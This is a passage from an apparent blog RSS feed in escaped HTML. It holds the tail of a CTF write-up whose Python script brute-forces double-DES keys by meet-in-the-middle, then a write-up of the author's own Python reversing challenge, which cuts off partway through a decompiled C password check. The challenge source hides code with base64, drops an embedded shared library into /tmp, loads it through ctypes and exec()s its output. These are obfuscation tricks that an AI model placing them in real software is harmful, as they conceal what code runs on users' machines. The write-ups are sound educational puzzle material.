&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">pad&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">str&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="p">)&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">zfill&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">6&lt;/span>&lt;span class="p">)))&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">f&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">write&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="sa">f&lt;/span>&lt;span class="s2">&amp;#34;&lt;/span>&lt;span class="si">{&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="si">}&lt;/span>&lt;span class="s2">: &lt;/span>&lt;span class="si">{&lt;/span>&lt;span class="n">single_encrypt&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">pad&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">str&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="p">)&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">zfill&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">6&lt;/span>&lt;span class="p">)),&lt;/span> &lt;span class="n">binascii&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">unhexlify&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;0123456701234567&amp;#39;&lt;/span>&lt;span class="p">)&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">decode&lt;/span>&lt;span class="p">())&lt;/span>&lt;span class="si">}&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">KEYS&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="p">{}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">with&lt;/span> &lt;span class="nb">open&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;singles&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s2">&amp;#34;r&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="k">as&lt;/span> &lt;span class="n">f&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">lines&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">f&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">read&lt;/span>&lt;span class="p">()&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">splitlines&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">for&lt;/span> &lt;span class="n">line&lt;/span> &lt;span class="ow">in&lt;/span> &lt;span class="n">lines&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">key&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">enc&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">line&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">split&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;: &amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">1&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">exec&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="sa">f&lt;/span>&lt;span class="s2">&amp;#34;enc=&lt;/span>&lt;span class="si">{&lt;/span>&lt;span class="n">enc&lt;/span>&lt;span class="si">}&lt;/span>&lt;span class="s2">&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">KEYS&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="n">enc&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">pad&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">key&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># From challenge&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">PASS&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="sa">b&lt;/span>&lt;span class="s2">&amp;#34;&lt;/span>&lt;span class="se">\x00\xbb\x8e\x0a\x5f\x56\x63\x21\xd3\x0f\xe2\x2f\xbc\xdd\xe0\x2d\x96\x71\x44\x82\x35\x72\x65\x67\xe2\x0a\x16\x2f\x25\x81\x24\x40\x13\x0f\x14\x8b\x12\x91\x01\x5a&lt;/span>&lt;span class="s2">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># Encrypted known plaintext&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">PAIRS&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="p">[]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">GIVEN&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="sa">b&lt;/span>&lt;span class="s2">&amp;#34;&lt;/span>&lt;span class="se">\xe0\xdd\xb8\x90\x74\xc3\x64\x8a\x13\x0f\x14\x8b\x12\x91\x01\x5a&lt;/span>&lt;span class="s2">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">for&lt;/span> &lt;span class="n">i&lt;/span> &lt;span class="ow">in&lt;/span> &lt;span class="nb">range&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">1000000&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">d&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">single_decrypt&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">pad&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">str&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="p">)&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">zfill&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">6&lt;/span>&lt;span class="p">)),&lt;/span> &lt;span class="n">GIVEN&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="n">d&lt;/span> &lt;span class="ow">in&lt;/span> &lt;span class="n">KEYS&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">PAIRS&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">append&lt;/span>&lt;span class="p">((&lt;/span>&lt;span class="n">KEYS&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="n">d&lt;/span>&lt;span class="p">],&lt;/span> &lt;span class="n">pad&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">str&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="p">)&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">zfill&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">6&lt;/span>&lt;span class="p">))))&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># You will get many correct pairs, in this case all of them worked&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">for&lt;/span> &lt;span class="n">a&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">b&lt;/span> &lt;span class="ow">in&lt;/span> &lt;span class="n">PAIRS&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">single_decrypt&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">a&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">single_decrypt&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">b&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">PASS&lt;/span>&lt;span class="p">)))&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>More writeups of other challenges coming soon.&lt;/p>
&lt;div class="footnotes" role="doc-endnotes">
&lt;hr>
&lt;ol>
&lt;li id="fn:1">
&lt;p>Not that you should use DES at all, nowadays.&amp;#160;&lt;a href="#fnref:1" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;/ol>
&lt;/div></description></item><item><title>Writing my First Python Reversing Challenge</title><link>https://fluix.one/blog/rev4-ctf/</link><pubDate>Sun, 04 Apr 2021 00:00:00 +0000</pubDate><guid>https://fluix.one/blog/rev4-ctf/</guid><description>&lt;p>I recently got together with others to write some challenges for a CTF competition. I ended up writing two problems: a reverse engineering one and a binary exploitation one. Today I&amp;rsquo;ll be writing about the construction and solution of the reverse engineering one.&lt;/p>
&lt;p>This was the first time I have ever written my own problem for a CTF so it was far from perfect but proved to be a nice challenge for competitors. Also, giving credit where credit is due, much of this problem took inspiration from a similar one in the Canadian Communications Security Establishment&amp;rsquo;s Geek Seek CTF.&lt;/p>
&lt;h2 id="the-start">The Start&lt;/h2>
&lt;p>Competitors were first given &lt;a href="bunny.pyc">this file&lt;/a> to begin. Guessing from the extension or base64 encoded contents within, this was a clearly a byte-compiled Python file, but which version? Well, initially I had used Python 3.7 for this challenge because it was widely used as the default across Linux distributions and because of the numerous decompilers available. However, in a last minute change, I switched to Python 3.9 which was neither widely installed nor had decompilers available. This switch made the initial part of the challenge, understanding how to run the program harder, but not too difficult with some trial and error. Proceeding with the correct version gave the following output:&lt;sup id="fnref:1">&lt;a href="#fn:1" class="footnote-ref" role="doc-noteref">1&lt;/a>&lt;/sup>&lt;/p>
&lt;pre tabindex="0">&lt;code>λ python bunny.pyc
/\ /\ The rabbit has stolen your flag and hid it in its hat! Can you
\ \_/ / give it the right code to get your flag back?
(`Y&amp;#39;)
()~*~()
▃▃▃▃▃▃▃▃▃
▉▉▉▉▉▉▉
▉▉▉▉▉▉▉
▉▉▉▉▉▉▉ Rabbit unlock code:
&lt;/code>&lt;/pre>&lt;p>Attempting to enter an incorrect code gives the following output:&lt;/p>
&lt;pre tabindex="0">&lt;code> ▃▃▃▃▃▃▃▃▃
▉▉▉▉▉▉▉
▉▉▉▉▉▉▉ Wrong code. The rabbit dips its head back into the hat.
▉▉▉▉▉▉▉
&lt;/code>&lt;/pre>&lt;p>Expected.&lt;/p>
&lt;h2 id="so-what-next">So what next?&lt;/h2>
&lt;p>Understanding what the program actually does! Given that no decompiler for Python 3.9 existed, a few approaches could be tried. Some competitors read the Python bytecode to reconstruct the code, while others cleverly used the &lt;code>strace&lt;/code> utility to figure out everything necessary that went on. Analysis of the binary itself could also reveal a function named &lt;code>derive_key&lt;/code> with some nearby strings and variables like &lt;code>password&lt;/code>, as well as a &lt;code>real_derive_key&lt;/code> function&amp;hellip; in a section of the file after an &lt;code>ELF&lt;/code> header? What&amp;rsquo;s up with that? For that, let&amp;rsquo;s look at the original source code of the program (with an &lt;code>exec&lt;/code> call expanded):&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-py" data-lang="py">&lt;span class="line">&lt;span class="cl">&lt;span class="ch">#!/usr/bin/env python3&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">import&lt;/span> &lt;span class="nn">base64&lt;/span>&lt;span class="o">,&lt;/span> &lt;span class="nn">ctypes&lt;/span>&lt;span class="o">,&lt;/span> &lt;span class="nn">sys&lt;/span>&lt;span class="o">,&lt;/span> &lt;span class="nn">os&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">from&lt;/span> &lt;span class="nn">cryptography.fernet&lt;/span> &lt;span class="kn">import&lt;/span> &lt;span class="n">Fernet&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">CIPHERTEXT&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="sa">b&lt;/span>&lt;span class="s2">&amp;#34;gAAAAABf8k6VO2v1na8YaHGUkUfHF-iwtVIfyzt5qyhklQUCT3WCLvZuiVy-dkWoXvJf6ssP9PJE0HIYluIitJf_mQQUtu9vXMAaT_JSc9i5aRd5LQkmQ3GDMcLHSgjvfWuAYpM5dJled2l0aCBvcGVuKHN5cy5hcmd2WzBdLCAicmIiKSBhcyBmOgogICAgZi5zZWVrKDIwOTEpCiAgICB3aXRoIG9wZW4oIi90bXAvbGlicmVhbC5zbyIsICJ3YiIpIGFzIGZmOgogICAgICAgIGZmLndyaXRlKGYucmVhZCgpKQogICAgbGliID0gY3R5cGVzLkNETEwoIi90bXAvbGlicmVhbC5zbyIpCiAgICBsaWIubGliLnJlc3R5cGUgPSBjdHlwZXMuY19jaGFyX3AKICAgIGV4ZWMobGliLmxpYigpLmRlY29kZSgpKQ==&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">BANNER&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">base64&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">b64decode&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="sa">b&lt;/span>&lt;span class="s2">&amp;#34;CiAgIC9cICAgL1wgICAgIFRoZSByYWJiaXQgaGFzIHN0b2xlbiB5b3VyIGZsYWcgYW5kIGhpZCBpdCBpbiBpdHMgaGF0ISBDYW4geW91CiAgIFwgXF8vIC8gICAgIGdpdmUgaXQgdGhlIHJpZ2h0IGNvZGUgdG8gZ2V0IHlvdXIgZmxhZyBiYWNrPwogICAgKGBZJykKICAgKCl+Kn4oKQogIOKWg+KWg+KWg+KWg+KWg+KWg+KWg+KWg+KWgwogICDilonilonilonilonilonilonilokKICAg4paJ4paJ4paJ4paJ4paJ4paJ4paJCiAgIOKWieKWieKWieKWieKWieKWieKWiSAgICAgUmFiYml0IHVubG9jayBjb2RlOiA=&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">decode&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">GOOD&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">base64&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">b64decode&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="sa">b&lt;/span>&lt;span class="s2">&amp;#34;CiAgIC9cICAgL1wKICAgXCBcXy8gLyAgICAgVGhlIHJhYmJpdCBqdW1wcyBvdXQgb2YgdGhlIGhhZCwgY29uZ3JhdHVsYXRpbmcgeW91IGZvciB0aGUgY29ycmVjdAogICAgKCd1JykgICAgICBjb2RlLgogICAoKX4qfigpCiAgIChfKS0oXykgICAgIEhlcmUncyB5b3VyIGZsYWc6IA==&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">decode&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">BAD&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">base64&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">b64decode&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="sa">b&lt;/span>&lt;span class="s2">&amp;#34;CiAg4paD4paD4paD4paD4paD4paD4paD4paD4paDCiAgIOKWieKWieKWieKWieKWieKWieKWiQogICDilonilonilonilonilonilonilokgICBXcm9uZyBjb2RlLiBUaGUgcmFiYml0IGRpcHMgaXRzIGhlYWQgYmFjayBpbnRvIHRoZSBoYXQuCiAgIOKWieKWieKWieKWieKWieKWieKWiQ==&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">decode&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">def&lt;/span> &lt;span class="nf">derive_key&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">password&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="n">password&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="s2">&amp;#34;mvrynIDAX4tcQbp9wyTNPbBLldKiG0IJ&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="sa">b&lt;/span>&lt;span class="s2">&amp;#34;znGy45To72bqSDW96Zoj5I5tZxeDKrFgORpngtKzHhRz&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="s2">&amp;#34;&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># Actually: exec(base64.b64decode(CIPHERTEXT[140:]))&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">with&lt;/span> &lt;span class="nb">open&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">sys&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">argv&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">],&lt;/span> &lt;span class="s2">&amp;#34;rb&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="k">as&lt;/span> &lt;span class="n">f&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">f&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">seek&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">2091&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">with&lt;/span> &lt;span class="nb">open&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;/tmp/libreal.so&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s2">&amp;#34;wb&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="k">as&lt;/span> &lt;span class="n">ff&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">ff&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">write&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">f&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">read&lt;/span>&lt;span class="p">())&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">lib&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">ctypes&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">CDLL&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;/tmp/libreal.so&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">lib&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">lib&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">restype&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">ctypes&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">c_char_p&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">exec&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">lib&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">lib&lt;/span>&lt;span class="p">()&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">decode&lt;/span>&lt;span class="p">())&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">def&lt;/span> &lt;span class="nf">decrypt&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">password&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">key&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">derive_key&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">password&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">encode&lt;/span>&lt;span class="p">())&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="n">key&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="n">GOOD&lt;/span> &lt;span class="o">+&lt;/span> &lt;span class="n">Fernet&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">key&lt;/span>&lt;span class="p">)&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">decrypt&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">CIPHERTEXT&lt;/span>&lt;span class="p">[:&lt;/span>&lt;span class="mi">140&lt;/span>&lt;span class="p">])&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">decode&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="n">BAD&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">decrypt&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">input&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">BANNER&lt;/span>&lt;span class="p">)))&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Aha! So it seems like this program takes an input and passes it to &lt;code>derive_key&lt;/code>, then attempts to perform a Fernet decryption. Trying the password visible here doesn&amp;rsquo;t actually work though, and looking a little further to the expanded &lt;code>exec&lt;/code> call will soon reveal why. It&amp;rsquo;s clear that a CDLL is loaded from an offset in the original file itself. It can be found by simply going to that offset or reading some &lt;code>strace&lt;/code> output.&lt;/p>
&lt;p>&lt;em>Creator note: this file was just made by concatenating the Python byte-compiled file and this Shared Object file.&lt;/em>&lt;/p>
&lt;h2 id="conclusion">Conclusion&lt;/h2>
&lt;p>Ultimately, having this new binary, &lt;a href="libreal.so">&lt;code>libreal.so&lt;/code>&lt;/a> should be enough to solve the challenge, even if one were to completely ignore the Python aspect. Disassembling or decompiling it with a variety of tools (such as Ghidra or Radare2) reveals the following code:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-c" data-lang="c">&lt;span class="line">&lt;span class="cl">&lt;span class="cp">#include&lt;/span> &lt;span class="cpf">&amp;lt;string.h&amp;gt;&lt;/span>&lt;span class="cp">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="cp">#include&lt;/span> &lt;span class="cpf">&amp;lt;stdlib.h&amp;gt;&lt;/span>&lt;span class="cp">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="cp">&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">// Correct pass: KAHQ7d1lb
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span>&lt;span class="kt">char&lt;/span>&lt;span class="o">*&lt;/span> &lt;span class="nf">real_derive_key&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kt">char&lt;/span>&lt;span class="o">*&lt;/span> &lt;span class="n">pass&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="n">pass&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">+&lt;/span> &lt;span class="n">pass&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">7&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="mi">183&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="n">pass&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">3&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">+&lt;/span> &lt;span class="n">pass&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">5&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="mi">181&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="n">pass&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">2&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">*&lt;/span> &lt;span class="n">pass&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">3&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="mi">5832&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="n">pass&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">-&lt;/span> &lt;span class="n">pass&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">8&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="o">-&lt;/span>&lt;span class="mi">33&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="n">pass&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">4&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">+&lt;/span> &lt;span class="n">pass&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">2&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="mi">127&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="n">pass&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">6&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">*&lt;/span> &lt;span class="n">pass&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">7&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="mi">5292&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="n">pass&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">4&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">+&lt;/span> &lt;span class="n">pass&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="mi">120&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">{&lt;/span>
